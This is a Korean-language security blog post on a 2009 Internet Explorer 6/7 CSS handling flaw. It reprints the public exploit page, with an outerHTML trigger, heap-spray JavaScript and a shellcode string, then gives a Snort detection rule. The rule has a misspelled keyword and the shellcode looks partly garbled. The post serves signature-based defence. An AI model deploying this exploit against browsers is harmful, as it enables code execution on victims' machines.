Internet Explorer 6/7 CSS Handling Denial of Service detection rule

2009년 11월 20일 IE 6/7 CSS DOS 익스플로잇이 릴리즈되었다.
제로데이 익스플로잇으로서
outerHTML 을 사용하여 CSS/Style 오브젝트가 삭제되면서 유효하지 않은 포인터를
가르키면서 발생되는 취약점이다.

 

###############################
# EDB-ID: 10210
# CVE-ID: ()
# Title: Internet Explorer 6/7 CSS Handling Denial of Service
# Author: K4mr4n_st
# Published: 2009-11-20
# Download Exploit Code
# Download N/A
###############################

<!--
securitylab.ir
K4mr4n_st (at) yahoo (dot) com [email concealed]
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE>
body{ overflow: scroll; margin: 0; }
</style>

<SCRIPT>
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EEu99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB0%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u
7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>

</HEAD>
<BODY>
</BODY>
</HTML>


style 오브젝트를 사용하는지 검사하고
그 오브젝트가 outerHTML로 소멸될 경우를 검사하여
공격인지 판단할 수 있다.

 

탐지룰은 다음과 같다.

 

alert tcp any 80 -> any any (msg:"Internet Explorer 6/7 CSS Handling Denial of Service"; 

content:"document|2e|getElementsByTagName|28 22|STYLE|22 29|"; nocase; content:"|2e|outerHTML"; distanse:0;)

 

하지만 오탐이 존재할 수 있다.
변수명을 살펴야 하기 때문이다.

탐지가 될 경우 분석을 통해 공격인지 판단해야한다.
Advertisements

About this entry